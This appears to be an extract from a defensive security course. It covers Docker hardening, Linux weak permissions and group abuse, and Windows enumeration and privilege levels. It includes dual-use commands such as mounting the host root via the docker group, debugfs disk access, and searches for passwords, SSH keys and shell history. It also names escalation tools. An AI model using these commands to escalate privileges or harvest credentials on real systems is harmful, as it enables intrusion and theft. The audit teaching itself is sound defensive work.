Command Purpose Defensive Red Flag
docker ps --quiet List running container IDs N/A - prerequisite command
docker inspect --format='{{.Name}} {{.HostConfig.Privileged}}' $(docker ps -q) Check for privileged containers {{.HostConfig.Privileged}} = true
docker inspect --format='{{.Name}} {{.HostConfig.Binds}}' $(docker ps -q) Check host filesystem mounts Mounts like [/:/host] or [/etc:/etc]
docker inspect --format='{{.Name}} {{.HostConfig.CapDrop}}' $(docker ps -q) Check dropped capabilities If [] or missing ALL
docker inspect --format='{{.Name}} {{.HostConfig.ReadonlyRootfs}}' $(docker ps -q) Check read-only root filesystem false means writable container
💡 Note: The docker inspect commands above use Go templates. The syntax is shown for defensive auditing purposes only.
⚠️ Docker Group Risk: Detailed Explanation
❌ Why Docker Group Membership is Root Equivalent

A user in the docker group can run:

docker run -v /:/mnt -it ubuntu bash

This mounts the entire host filesystem into the container. The user can then:

  • Read/write any file on the host (/etc/shadow, SSH keys).
  • Add a new root user by modifying /etc/passwd.
  • Install SSH backdoors.
  • Execute binaries on the host.
  • Bypass all file permission restrictions.

This is NOT container escape—it is legitimate Docker functionality being misused.

⚠️ Privileged Containers: Full Host Access
🔥 What --privileged Actually Does

A privileged container (--privileged) receives:

  • All capabilities: CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_DAC_OVERRIDE, etc.
  • Host devices: Access to /dev/ (including raw disks).
  • AppArmor/SELinux: Confinement is disabled.
  • Seccomp: Filtering is disabled.

From a privileged container, an attacker can:

  • Mount the host filesystem.
  • Load kernel modules.
  • Access raw disk devices.
  • Modify iptables/routing.
  • Use nsenter to escape to host.

🚨 Privileged containers should never be used in production.

🛡️ Defensive Container Hardening
✅ Runtime Security
  • Never add users to docker group.
  • Avoid privileged containers.
  • Use read-only root filesystem: --read-only
  • Set no-new-privileges: --security-opt=no-new-privileges:true
  • Drop all capabilities: --cap-drop=ALL
  • Add only required capabilities.
✅ Isolation & Configuration
  • Use user namespaces: --userns=remap
  • Limit resources: --memory, --cpus
  • Enable AppArmor/SELinux.
  • Use custom seccomp profiles.
  • Scan images for vulnerabilities.
  • Run Docker Bench Security.
📋 Secure Docker Run Examples
🔒 Web Server (Nginx) - Minimal Privileges
docker run -d \
  --name nginx-secure \
  --read-only \
  --security-opt=no-new-privileges:true \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --cap-add=NET_RAW \
  --user 101:101 \
  --tmpfs /tmp:rw,noexec,nosuid,size=64m \
  --tmpfs /var/run:rw,noexec,nosuid,size=64m \
  --tmpfs /var/cache/nginx:rw,noexec,nosuid,size=128m \
  nginx:alpine

✅ Nginx running as non-root, read-only filesystem, only NET_BIND_SERVICE and NET_RAW capabilities.

🔒 Database Container (PostgreSQL)
docker run -d \
  --name postgres-secure \
  --security-opt=no-new-privileges:true \
  --cap-drop=ALL \
  --cap-add=DAC_OVERRIDE \
  --cap-add=SETGID \
  --cap-add=SETUID \
  --cap-add=CHOWN \
  --user 999:999 \
  --read-only \
  -v /data/postgres:/var/lib/postgresql/data \
  -e POSTGRES_PASSWORD=secret \
  postgres:13

✅ PostgreSQL requires specific file capabilities. Data directory mounted with write access.

🔒 Application Container (Python/Node.js)
docker run -d \
  --name app-secure \
  --read-only \
  --security-opt=no-new-privileges:true \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --user 1000:1000 \
  --tmpfs /tmp:rw,noexec,nosuid \
  --tmpfs /app/logs:rw,noexec,nosuid \
  --security-opt=apparmor:my-custom-profile \
  node:14-alpine npm start

✅ App runs as non-root, read-only, no new privileges, custom AppArmor profile.

🔍 Container Escape Detection (Defensive Monitoring)
Detection Method What to Monitor Tool Alert Example
Syscall Monitoring mount, nsenter, unshare, pivot_root Falco, Tracee, auditd “Privileged container started”
File Integrity Container root filesystem changes docker diff, Tripwire, AIDE New SUID binary in container
Kernel Module Loading modprobe, insmod from containers auditd, Falco Kernel module loaded from container
Capability Usage CAP_SYS_ADMIN, CAP_SYS_MODULE AppArmor, SELinux audit logs Denied capability use
🛡️ Defensive Tools for Containers
🔍 Auditing
  • ✅ Docker Bench
  • ✅ Trivy / Clair
  • ✅ Kube-bench
  • ✅ Grype
🛡️ Runtime
  • ✅ Falco
  • ✅ Tracee
  • ✅ Cilium
  • ✅ Aqua
🔒 Isolation
  • ✅ gVisor
  • ✅ Kata
  • ✅ Firecracker
  • ✅ Youki
📋 Compliance
  • ✅ CIS Benchmarks
  • ✅ NIST SP 800-190
  • ✅ NSA/CISA Kubernetes
✅ Container Security Defense-in-Depth Summary
  • 🔹 Host Level: Patch kernel, remove compilers, audit users
  • 🔹 Docker Daemon: No docker group, TLS auth, audit logs
  • 🔹 Image Level: Vulnerability scanning, minimal base images
  • 🔹 Runtime Level: No privileged, read-only, drop caps
  • 🔹 Orchestration: Pod security policies, network policies
  • 🔹 Monitoring: Falco/Tracee, behavioral analysis
🚨 Incident Response: If you discover a user in the docker group OR a privileged container in production, treat this as a Critical Severity finding. Immediate remediation steps:
  1. Remove user from docker group: gpasswd -d username docker
  2. Recreate privileged containers with --cap-drop=ALL and only required caps
  3. Review audit logs for potential container escape activity
  4. Scan host for unauthorized modifications
⚠️ Common Misconception: Running containers as non-root USER inside the container is good, but does not prevent container escape if the container is privileged or has capabilities. Defense must be multi-layered.

21.16 Weak File Permissions & Group Membership Abuse (Conceptual & Defensive)

⚠️ Strictly Educational & Defensive: Linux permissions and group memberships are the foundation of system security. This section explains how weak permissions and overly permissive group memberships create privilege escalation paths.

📁 What Are Weak File Permissions?

📄 Full Article: Weak Permissions

Weak file permissions occur when files or directories are writable by users who should not have write access. This includes world-writable system files, configuration files with group write permissions, and backup files with incorrect ownership.

Group membership abuse occurs when users are added to privileged groups (disk, adm, video, docker) without understanding the access these groups grant.

🔥 Dangerous Group Memberships
Group Purpose Risk if Misassigned
disk Access raw disk devices Can read/write any file on the system via /dev/sda*; full system compromise
adm Read system log files Logs may contain passwords, API keys, and sensitive information
shadow Read /etc/shadow Direct access to password hashes; offline cracking
sudo / wheel Administrative group Full root access via sudo
docker Manage Docker Root-equivalent (mount host filesystem)
video Access framebuffer devices Can capture screen content; potential keylogging
audio Access audio devices Can capture microphone input
🔍 Auditing Permissions & Groups (Defensive)
Command Purpose Defensive Red Flag
find / -writable -type f 2>/dev/null | grep -v "^/proc" Find world-writable files System binaries, config files, scripts with 777/667 permissions
find / -perm -2 -type f 2>/dev/null | grep -v "^/proc" World-writable files (alternate) Same as above
find /etc/ -type f -perm -o+w 2>/dev/null World-writable config files CRITICAL: Any writable file in /etc
find / -group disk -ls 2>/dev/null Files owned by disk group If not device files, investigate
getent group disk Users in disk group Any non-root user in disk group
getent group adm Users in adm group Review if necessary; logs may contain secrets
getent group docker Users in docker group Root-equivalent access
find / -perm -4000 -type f 2>/dev/null SUID binaries Cross-reference with GTFOBins
⚠️ Real-World Group Abuse Scenarios
📀 Disk Group Abuse

Misconfiguration: User added to disk group for "convenience" to mount USB drives.

Actual Access: debugfs /dev/sda1 allows reading/writing any file on the filesystem, bypassing all file permissions.

Defense: Use udisks, pmount, or polkit for removable media—never add users to disk group.

📋 Adm Group Risk

Misconfiguration: Developer added to adm group to troubleshoot application logs.

Actual Access: Can read all logs in /var/log, including authentication logs with usernames and possibly passwords.

Defense: Use centralized logging (ELK, Splunk) with role-based access control; avoid direct log file access.

🛡️ Defensive Hardening
  • Regular Permission Audits: Automate weekly scans for world-writable system files.
  • Group Membership Reviews: Quarterly audit of all privileged groups (disk, adm, docker, sudo).
  • Remove World-Writable Permissions: find / -type f -perm -0002 -exec chmod o-w {} \; (with caution).
  • Use ACLs for Fine-Grained Control: setfacl and getfacl instead of broad group permissions.
  • Immutable Files: chattr +i /etc/passwd /etc/shadow /etc/sudoers prevents accidental/writable modifications.
💡 Automated Auditing Tools:
  • LinPEAS: Highlights dangerous group memberships (disk, docker, adm).
  • Lynis: Security auditing tool that checks file permissions and group memberships.
  • Tiger: Legacy but effective for permission checks.
Golden Rule of Permissions: No system binary, configuration file, or log file should be writable by non-root users. No standard user should be a member of privileged groups.
📚 Further Reading: NotesTime Weak Permissions GuideLinux Audit

21.17 Windows Enumeration Basics (Defensive System Auditing)

⚠️ Strictly Educational & Defensive: Windows enumeration is the systematic process of gathering information about a Windows system's configuration, users, privileges, services, and security posture. This section is designed for system administrators, security auditors, and blue teams to audit their own Windows systems. No exploitation techniques are included.
🎯 Defensive Purpose: Regular system enumeration helps organizations:
  • Discover unauthorized user accounts and group memberships
  • Identify insecure service configurations
  • Detect missing security patches
  • Audit registry permissions and autorun entries
  • Validate compliance with security baselines

🪟 What is Windows Enumeration?

Windows enumeration is the process of extracting detailed information from a Windows operating system to understand its current state, configuration, and security posture. Unlike Linux, Windows has unique security constructs: Access Tokens, Integrity Levels, Security Identifiers (SIDs), Group Policy Objects (GPOs), and the Windows Registry.

💡 Key Insight: 80% of Windows privilege escalation opportunities are discovered through thorough enumeration, not complex exploitation. A defender who knows what to look for can fix misconfigurations before they are abused.

🖥️ 1. System Identification & OS Information

Understanding the Windows version, build number, patch level, and architecture is the foundation of any security assessment. This information determines which security updates are missing and helps identify kernel-level vulnerabilities.

Command Purpose Defensive Red Flag
systeminfo Displays comprehensive OS configuration, hotfixes, and build number Missing security patches; end-of-life OS (Windows 7, Server 2008)
hostname Shows computer name Hostname may reveal role (DC, SQL, WEB, PROD)
wmic os get Caption,Version,CSDVersion,BuildNumber Detailed OS version using WMI Unsupported OS versions
Get-ComputerInfo | Select WindowsProductName, WindowsVersion, OsBuildNumber PowerShell equivalent (modern systems) Compare against current build numbers
wmic qfe list brief /format:table List installed patches (Quick Fix Engineering) Missing critical patches (PrintNightmare, Zerologon, EternalBlue)
Get-HotFix | Sort-Object InstalledOn PowerShell patch enumeration Old patches indicate poor patch management
echo %PROCESSOR_ARCHITECTURE% System architecture (x86, AMD64, ARM64) 32-bit systems have different exploit mitigations
⚠️ Defensive Priority: End-of-life Windows systems (Windows 7, Windows Server 2008, Windows XP) receive no security patches. If found in your environment, they represent a critical risk and should be isolated or upgraded immediately.

👥 2. User & Group Enumeration

User and group enumeration reveals who has access to the system, what privileges they hold, and whether any accounts are misconfigured, orphaned, or overly privileged. This is critical for detecting privilege creep and excessive permissions.

Command Purpose Defensive Red Flag
whoami Display current username If output contains "SYSTEM" or "NT AUTHORITY\SYSTEM", audit is running with highest privileges
whoami /priv CRITICAL: List enabled and disabled privileges for current user SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege
whoami /groups Show group memberships and attributes Membership in Administrators, Domain Admins, Enterprise Admins (for non-admin users)
net user List all local users Unfamiliar accounts, disabled accounts still present, guest account enabled
net user <username> Detailed information about specific user Password never expires, user has change password at next logon disabled, active outside business hours
net localgroup List all local groups Baseline comparison against standard groups
net localgroup Administrators CRITICAL: List members of local Administrators group Any non-approved user in Administrators group; domain users unexpectedly added
Get-LocalUser | Select-Object Name,Enabled,PasswordExpires PowerShell local user enumeration Disabled accounts not removed, password never expires
Get-LocalGroupMember -Group "Administrators" PowerShell administrator group audit Same as above - unauthorized members
query user Display currently logged-in users (RDP/console) Multiple concurrent sessions, idle sessions not disconnected
qwinsta Legacy query for RDP sessions Same as above
🚨 CRITICAL FINDING: If a standard (non-administrator) user has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, this is a severe misconfiguration. These privileges allow token impersonation and can lead to SYSTEM-level access. Common with IIS, SQL Server, and MSSQL service accounts.

🌐 3. Network Enumeration

Network enumeration identifies listening services, active connections, firewall rules, and domain membership. This helps defenders understand the system's network exposure and detect unauthorized backdoors or lateral movement paths.

Command Purpose Defensive Red Flag
ipconfig /all Display IP configuration, DNS servers, DHCP status Multiple NICs, unexpected DNS servers, DHCP on servers
netstat -ano CRITICAL: Display all active connections and listening ports with PID Unauthorized listening ports, connections to unknown external IPs, backdoors
netstat -r Display routing table Persistent routes, multiple default gateways
Get-NetTCPConnection -State Listen PowerShell listening port enumeration Same as netstat -ano
arp -a ARP cache - recent neighbors Unexpected devices in same subnet
nslookup <hostname> DNS resolution test DNS misconfiguration, internal hostnames resolving externally
route print IPv4 and IPv6 routing tables Same as netstat -r
netsh advfirewall show allprofiles Display Windows Firewall status per profile Firewall disabled on domain profile; overly permissive inbound rules
netsh firewall show state Legacy firewall enumeration Same as above
💡 Defensive Tip: Cross-reference listening ports with running services using tasklist | findstr <PID> to identify unknown or rogue processes.

⚙️ 4. Service & Process Enumeration

Service and process enumeration reveals which applications are running, under which user context, and whether any services are configured with excessive privileges. Misconfigured services are the most common Windows privilege escalation vector.

Command Purpose Defensive Red Flag
tasklist List running processes Unfamiliar processes, multiple instances of same process, processes running as SYSTEM
tasklist /v Verbose process list with user context Processes running as SYSTEM that should run as lower privilege (web servers, database servers)
tasklist /svc Processes with associated services Map PID to service name for netstat correlation
Get-Process | Sort-Object CPU -Descending PowerShell process enumeration High CPU/memory usage from unusual processes
sc query List all services and their status Stopped but enabled services, services in "manual" that should be "disabled"
sc query state= all List all services (running + stopped) Complete service inventory
sc qc <service_name> CRITICAL: Query service configuration (binary path, start type, account) Unquoted service paths, service running as SYSTEM, weak permissions on binary path
Get-WmiObject win32_service | Select-Object Name, PathName, StartName, State PowerShell service enumeration Same as sc qc - automated collection
wmic service get name,pathname,startname,startmode WMI service enumeration Services running as SYSTEM that don't require it
icacls <service_binary_path> CRITICAL: Check file permissions on service binary BUILTIN\Users:(W) or Everyone:(W) write access
🚨 HIGH-RISK FINDINGS - Service Misconfigurations:
  • Unquoted Service Path: Path contains spaces and is not enclosed in quotes - allows binary hijacking
  • Weak Service Permissions: Standard users can modify service configuration (sc config)
  • Weak Binary Permissions: Standard users can replace service executable
  • Services Running as SYSTEM: Unnecessary privileged accounts increase attack surface

📋 5. Registry Enumeration (Critical Security Settings)

The Windows Registry stores configuration data for the OS, applications, and services. Many privilege escalation vectors involve registry misconfigurations, including AlwaysInstallElevated, autorun entries, and weak ACLs.

Command Purpose Defensive Red Flag
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall List installed applications Outdated software versions, unauthorized applications
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Current user autorun entries Unauthorized startup programs
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run System-wide autorun entries Unauthorized or suspicious autoruns (persistence mechanism)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated CRITICAL: Check for AlwaysInstallElevated policy Value = 1 (0x1) - Any user can install MSI packages with SYSTEM privileges
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated CRITICAL: Check user policy (must match HKLM) Same as above - both must be 0
reg query HKLM\SYSTEM\CurrentControlSet\Services List all service registry keys Weak permissions on service registry keys (ImagePath, FailureCommand)
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\<service> | Format-List Check registry ACLs on service key Non-admin users with Write/FullControl access
🚨 AlwaysInstallElevated = CRITICAL MISCONFIGURATION: When both HKLM and HKCU have this value set to 1, any user can install Microsoft Installer (MSI) packages with SYSTEM privileges. This is a severe security flaw and should be remediated immediately.

📁 6. Filesystem & Permission Auditing

Filesystem enumeration identifies world-writable directories, sensitive files with weak permissions, unattended installation files containing credentials, and searchable configuration files with passwords.

Command Purpose Defensive Red Flag
dir /a C:\Users\ List all user profiles Orphaned profiles, profiles of terminated employees
dir /s C:\*.exe Search for executables Executables in user-writable directories
dir /s *pass* == *.config == *.xml == *.txt Search for files containing "pass" in name Configuration files with plaintext passwords
icacls C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup Check permissions on startup folder Users group has write access - persistence vector
icacls C:\Windows\System32\config\SAM Check SAM hive permissions If readable by non-SYSTEM - CRITICAL
icacls C:\Windows\System32\config\SYSTEM Check SYSTEM hive permissions If readable by non-SYSTEM - CRITICAL
findstr /si password *.xml *.ini *.txt *.config Search for password strings in files Plaintext credentials in web.config, Unattend.xml, appsettings.json
⚠️ Unattended Installation Files: Files like Unattend.xml, autounattend.xml, sysprep.inf, and unattended.txt often contain plaintext administrator passwords. These files are sometimes left on systems after deployment and are world-readable.

🔑 7. Credential & Secrets Enumeration

Credential enumeration identifies stored passwords, hashes, and secrets that can be used for lateral movement or privilege escalation. This includes saved RDP credentials, SSH keys, DPAPI secrets, and browser-stored passwords.

Command Purpose Defensive Red Flag
cmdkey /list List stored credentials in Windows Credential Manager Stored domain/admin credentials that can be reused
dir C:\Users\*\.ssh\* Find SSH private keys World-readable private keys (id_rsa, id_dsa)
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt PowerShell command history Passwords typed in plaintext, credentials in scripts
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue Find KeePass databases Password databases without master key protection

🛠️ 8. Automated Enumeration Tools (Defensive Use)

Automated enumeration tools help defenders quickly assess systems for common misconfigurations. These tools should be used only on systems you own or have explicit permission to audit.

Tool Purpose Defensive Application
WinPEAS Windows Privilege Escalation Awesome Script - enumerates services, registry, credentials, etc. Comprehensive system security audit; color-coded output highlights high-risk findings
Seatbelt C# tool for security configuration analysis Quick assessment of system security posture; useful for incident response
PowerUp PowerShell tool for service/privilege misconfigurations Identifies unquoted service paths, weak service permissions, AlwaysInstallElevated
SharpUp C# port of PowerUp Same as PowerUp, but executes from memory without PowerShell
PrivescCheck PowerShell script for privilege escalation checks Detailed reporting with remediation guidance
AccessChk (Sysinternals) Check permissions on files, registry, services Manual verification of ACLs and permissions
🚨 Legal & Ethical Reminder: These tools are for defensive auditing of systems you own or have explicit written authorization to test. Unauthorized use is illegal and unethical.

📋 Windows Enumeration - Defensive Checklist Summary

✅ System & Patches
systeminfo wmic qfe list brief Get-HotFix winver
✅ Users & Groups
whoami /priv net localgroup Administrators Get-LocalGroupMember query user
✅ Network
netstat -ano ipconfig /all arp -a netsh advfirewall
✅ Services
sc query sc qc <service> icacls <binary_path> wmic service
✅ Registry
reg query HKLM\...\Run reg query HKLM\...\AlwaysInstallElevated Get-Acl HKLM:\...\Services
✅ Files & Credentials
icacls C:\ findstr /si password *.config cmdkey /list dir *.kdbx /s
✅ Defensive Enumeration Summary

Regular Windows enumeration is a system administrator's best practice, not just a penetration tester's tool. Auditing your own systems using this checklist will:

  • ✅ Identify unauthorized administrator accounts and privilege creep
  • ✅ Detect unpatched systems before attackers exploit them
  • ✅ Discover service misconfigurations (unquoted paths, weak permissions)
  • ✅ Find exposed credentials in configuration files and history
  • ✅ Validate compliance with security baselines (CIS, NIST)
💡 Recommended Defensive Workflow:
  1. Manual Baseline: Use commands above to understand normal system state
  2. Automated Scanning: Run WinPEAS/Seatbelt weekly for comprehensive checks
  3. Remediation: Fix high-risk findings immediately (AlwaysInstallElevated, weak service permissions)
  4. Verification: Re-audit after changes to confirm hardening
  5. Continuous Monitoring: Deploy Sysmon, auditd for Windows, or EDR for real-time detection
🚨 Authorization Required: This checklist is for defensive auditing of systems you own or have explicit permission to test. Unauthorized enumeration is illegal and unethical. Always obtain written authorization before conducting any security assessment.

Section 21.17 Complete — Windows Enumeration Basics for Defensive System Auditing


21.18 Understanding Windows Privilege Levels (User, Admin, SYSTEM, TrustedInstaller)

⚠️ Strictly Educational & Defensive: Windows has a complex, multi-layered privilege model that differs significantly from Linux. Understanding these privilege levels is essential for system hardening, incident response, and security architecture. This section explains Windows security boundaries—not how to bypass them.

🏛️ The Windows Privilege Hierarchy

📄 Full Article: Windows Privilege Levels

Unlike Linux's simple "root vs user" model, Windows has multiple distinct privilege tiers, each with different capabilities, access levels, and security boundaries. A process or user's privilege level determines what system resources they can access, what security policies they can bypass, and what damage they can cause.

💡 Key Insight: In Windows, Administrator is NOT the highest privilege level. SYSTEM and TrustedInstaller have significantly more power than a standard administrator account.

👤 1. Standard User (Lowest Privilege - Least Privilege Principle)

Standard User is the baseline privilege level for normal, everyday work. A standard user can only modify resources they own (their profile, temporary files, HKCU registry hive) and cannot make system-wide changes.

Security Goal: All users should run as Standard User whenever possible. This is the foundation of the "Principle of Least Privilege."
🆔 Token Characteristics
  • Integrity Level: Medium
  • SID: DOMAIN\Username
  • Groups: Users, Authenticated Users
  • Privileges: Minimal
📋 What a Standard User CAN Do:
  • ✅ Read/write files in their own user profile (C:\Users\username\)
  • ✅ Modify their own registry hive (HKEY_CURRENT_USER)
  • ✅ Run applications that don't require administrative privileges
  • ✅ Print, browse the web, use office applications
  • ✅ Change their own password and personalize their desktop
🚫 What a Standard User CANNOT Do:
  • ❌ Install system-wide software or drivers
  • ❌ Modify system files (C:\Windows\, C:\Program Files)
  • ❌ Modify HKLM (Local Machine) registry hive
  • ❌ Create/modify local user accounts
  • ❌ Disable antivirus or firewall
  • ❌ Access other users' files without explicit permission
⚠️ Defensive Reality: Most organizations still run users as administrators "for convenience." This is the single largest contributor to Windows privilege escalation risks.

🛡️ 2. Administrator (Elevated Privileges)

Administrator is a privileged account that can make system-wide changes. However, Windows implements User Account Control (UAC), which means administrators run with two tokens: a filtered (standard) token for normal operations and a full administrator token only when explicitly elevated.

💡 UAC Behavior: Even administrators run with Medium Integrity Level by default. Administrative privileges are only available after explicit consent (UAC prompt).
🆔 Token Characteristics
  • Integrity Level: High (when elevated)
  • SID: BUILTIN\Administrators
  • Groups: Administrators, Users
  • Privileges: SeBackupPrivilege, SeRestorePrivilege, SeShutdownPrivilege, etc.
📋 What an Administrator CAN Do:
  • ✅ Install/uninstall software and drivers
  • ✅ Modify system files and HKLM registry
  • ✅ Create, modify, delete local user accounts
  • ✅ Start/stop system services
  • ✅ Configure firewall, Windows Update, security policies
  • ✅ Access all user files (with ownership/permission changes)
  • ✅ Audit logs and security events
⚠️ Administrator Limitations:
  • ⚠️ Cannot access certain SYSTEM-level processes (LSASS, CSRSS, wininit)
  • ⚠️ Cannot modify protected system files in use by TrustedInstaller
  • ⚠️ Cannot bypass certain kernel-level security controls
  • ⚠️ Still subject to UAC and integrity level restrictions
🚨 Common Misconception: "I'm an administrator, I have full control." FALSE. Administrator is NOT the highest privilege level. SYSTEM and TrustedInstaller have significantly more power.

⚙️ 3. LOCAL SYSTEM (NT AUTHORITY\SYSTEM) - The True "Root"

LOCAL SYSTEM (SYSTEM) is the highest privilege level on a local Windows machine. It is the operating system's own account, with unrestricted access to all local resources. SYSTEM is NOT a user account—it's the computer itself.

🚨 CRITICAL: SYSTEM is more powerful than Administrator. A process running as SYSTEM can do anything on the local machine, including actions that even administrators cannot perform.
🆔 Token Characteristics
  • Integrity Level: System
  • SID: S-1-5-18
  • Groups: Everyone, Authenticated Users, Administrators (implicitly)
  • Privileges: ALL (nearly all privileges enabled)
📋 What SYSTEM Can Do That Administrator Cannot:
  • 🔹 Access the SAM hive and interact with the Security Account Manager directly
  • 🔹 Dump LSASS process memory (where passwords and hashes reside)
  • 🔹 Load kernel-mode drivers
  • 🔹 Create processes in any session, including Session 0
  • 🔹 Bypass most security policy restrictions
  • 🔹 Take ownership of any object, including those protected by TrustedInstaller
  • 🔹 Access kernel objects and raw disk volumes
🏭 Which Processes Run as SYSTEM?
Process Description
winlogon.exe Windows Logon process
services.exe Service Control Manager (parent of most services)
lsass.exe Local Security Authority Subsystem Service (authentication)
svchost.exe Many critical Windows services (RPC, DCOM, DNS, DHCP)
csrss.exe Client/Server Runtime Subsystem
⚠️ Defensive Note: Services should NEVER run as SYSTEM unless absolutely necessary. Many built-in Windows services run as SYSTEM by design, but third-party services should use least-privilege service accounts (Network Service, Local Service, or managed service accounts).

🔒 4. TrustedInstaller (Windows Module Installer)

TrustedInstaller is a security principal that owns critical Windows system files. Even SYSTEM cannot modify certain protected resources because TrustedInstaller is the explicit owner with exclusive write permissions.

💡 Design Purpose: TrustedInstaller protects Windows core components from being modified—even by administrators or malware running as SYSTEM.
🆔 SID
  • SID: S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464
  • Service: TrustedInstaller.exe
📋 TrustedInstaller Characteristics:
  • ✅ Owner of all protected Windows system files (C:\Windows\*.dll, *.exe, *.sys)
  • ✅ Can modify files that even SYSTEM cannot write to
  • ✅ Only active during Windows Update, component servicing, and .NET optimization
  • ✅ Designed to prevent tampering with OS integrity
🚨 Bypass Warning: If a vulnerability allows a process to impersonate TrustedInstaller, it can bypass Windows File Protection and modify kernel files. This is a critical security event.

📊 5. Integrity Levels (Mandatory Integrity Control - MIC)

Integrity Levels are a Windows security mechanism that restricts what processes can do based on their trust level. This is separate from user/group membership. A process cannot write to a resource with a higher integrity level.

Integrity Level Value Description Examples
Untrusted 0 Lowest possible level; very restricted Anonymous network connections, restricted tokens
Low 1 Read/execute only; cannot write to most locations Internet Explorer (Protected Mode), Chrome sandbox
Medium 2 Default for standard users and non-elevated admins Most applications, normal user processes
High 3 Elevated administrator privileges Processes run as "Run as administrator"
System 4 Kernel, SYSTEM account LSASS, winlogon, services.exe
Installer 5 TrustedInstaller Windows Update, MSI installations
💡 Check Your Integrity Level: Run whoami /groups and look for "Mandatory Label\High Mandatory Level" (High), "Medium Mandatory Level" (Medium), or "Low Mandatory Level" (Low).

🔄 6. Special Service Accounts

Account SID Privilege Level Network Access Best Practice
LocalService NT AUTHORITY\LOCAL SERVICE Limited local privileges, anonymous network No credentials; null session ✅ Minimal privileges; good for internal services
NetworkService NT AUTHORITY\NETWORK SERVICE Limited local privileges, network credentials as computer Authenticates as machine account ✅ Good for services needing network access
Virtual Service Accounts NT SERVICE\<ServiceName> Isolated, least-privilege per service Restricted ✅ Modern best practice; introduced in Windows 2008 R2
Managed Service Accounts (gMSA) DOMAIN\<AccountName$> Domain-joined, automatic password rotation Controlled ✅ Domain services; passwords managed by AD
Defensive Best Practice: Always use the least-privileged account possible:
  • 🔹 Virtual Service Account (isolated, no network) → Best
  • 🔹 LocalService (limited local, no credentials) → Good
  • 🔹 NetworkService (limited local, network auth) → Acceptable
  • 🔹 Custom local user → Only if necessary
  • 🔹 NEVER use SYSTEM or Administrator for services

🎟️ 7. Access Token Types (Primary vs Impersonation)

🔑 Primary Token

Assigned to a process. Defines the security context of that process. Every process has one primary token.

Defense: Monitor for processes created with unusual primary tokens.

🔄 Impersonation Token

Assigned to a thread within a process. Allows a server to "impersonate" a client's security context.

Defense: SeImpersonatePrivilege should NOT be granted to standard users.

🚨 Privilege Escalation Risk: If a standard user has SeImpersonatePrivilege, they can impersonate SYSTEM tokens and gain full control. This is a critical finding.

⚠️ 8. How Privilege Escalation Moves Through These Levels

Understanding the hierarchy of privilege levels explains how Windows privilege escalation attacks progress:

Level Role Integrity Level (IL) Next Level
1 👤 Standard User Medium IL → Administrator
2 🛡️ Administrator High IL → LOCAL SYSTEM
3 ⚙️ LOCAL SYSTEM System IL → TrustedInstaller
4 🔒 TrustedInstaller Installer IL Highest Privilege
📋 Common Escalation Paths (Defensive View):
  • Standard → Admin: UAC bypass, service misconfigurations, sudo-like vulnerabilities
  • Admin → SYSTEM: Token impersonation (SeImpersonatePrivilege), service escalation, kernel exploits
  • SYSTEM → TrustedInstaller: Token manipulation, Windows Update vulnerabilities, specific service abuse

🛡️ 9. Defensive Checklist - Managing Windows Privileges

✅ User Privilege Management
  • ✓ Users run as Standard User, NOT Administrator
  • ✓ UAC enabled at default level (not disabled)
  • ✓ Regular audits of local Administrators group
  • ✓ LAPS (Local Administrator Password Solution) deployed
  • ✓ Guest account disabled
✅ Service Privilege Management
  • ✓ No services run as SYSTEM unless required
  • ✓ Use Virtual Service Accounts or gMSAs
  • ✓ Unquoted service paths audited and fixed
  • ✓ Service binary permissions are restrictive
  • ✓ Weak service permissions remediated
💡 Audit Command: whoami /priv and whoami /groups should be part of every security assessment to understand current privilege context.
⚠️ Windows 11/Server 2022 Enhancements:
  • Administrator Protection: New feature that further isolates administrator tokens
  • Credential Guard: Virtualization-based protection for LSASS secrets
  • Local Security Authority (LSA) Protection: Prevents untrusted processes from accessing LSA

📋 Quick Reference: Identify Current Privilege Level

Command What It Shows What to Look For
whoami Current username "nt authority\system" = SYSTEM; "domain\username" = user
whoami /priv Enabled privileges SeImpersonatePrivilege, SeDebugPrivilege, SeTakeOwnershipPrivilege
whoami /groups Group memberships and integrity level "Mandatory Label\High Mandatory Level" = elevated admin
net localgroup Administrators Local admin group members Unauthorized users or domain groups
sc qc <service> Service account context SERVICE_START_NAME = LocalSystem (should be least privilege)
✅ Windows Privilege Levels - Key Takeaways
  • Standard User: Baseline, least privilege - where users SHOULD run
  • Administrator: Elevated, but limited by UAC - more than user, less than SYSTEM
  • LOCAL SYSTEM: Highest local privilege - the computer itself
  • TrustedInstaller: Owner of protected system files - even SYSTEM can't modify
  • Integrity Levels: Separate from privileges - prevents lower IL from writing to higher IL
  • Service Accounts: Use least privilege - NEVER run third-party services as SYSTEM
🚨 Final Defensive Principle: The goal is NOT to prevent all privilege escalation—some escalation is necessary for legitimate administration. The goal is to ensure that only authorized users can escalate, and only through controlled, auditable mechanisms (UAC, sudo, PAM).

21.31 WinPEAS & Windows Automated Enumeration (Defensive Auditing)

⚠️ Strictly Educational & Defensive: WinPEAS (Windows Privilege Escalation Awesome Script) is a powerful tool for auditing Windows systems for security misconfigurations, weak permissions, and privilege escalation vectors. This section explains how defenders and system administrators use WinPEAS to audit their own systems. No exploitation techniques are included.
🎯 Defensive Purpose: WinPEAS helps organizations:
  • Identify misconfigured services and weak permissions before attackers do
  • Audit Windows systems for compliance with security baselines
  • Discover stored credentials and sensitive information in plaintext
  • Validate system hardening after security patches
  • Train blue teams to recognize common Windows misconfigurations

🪟 What is WinPEAS?

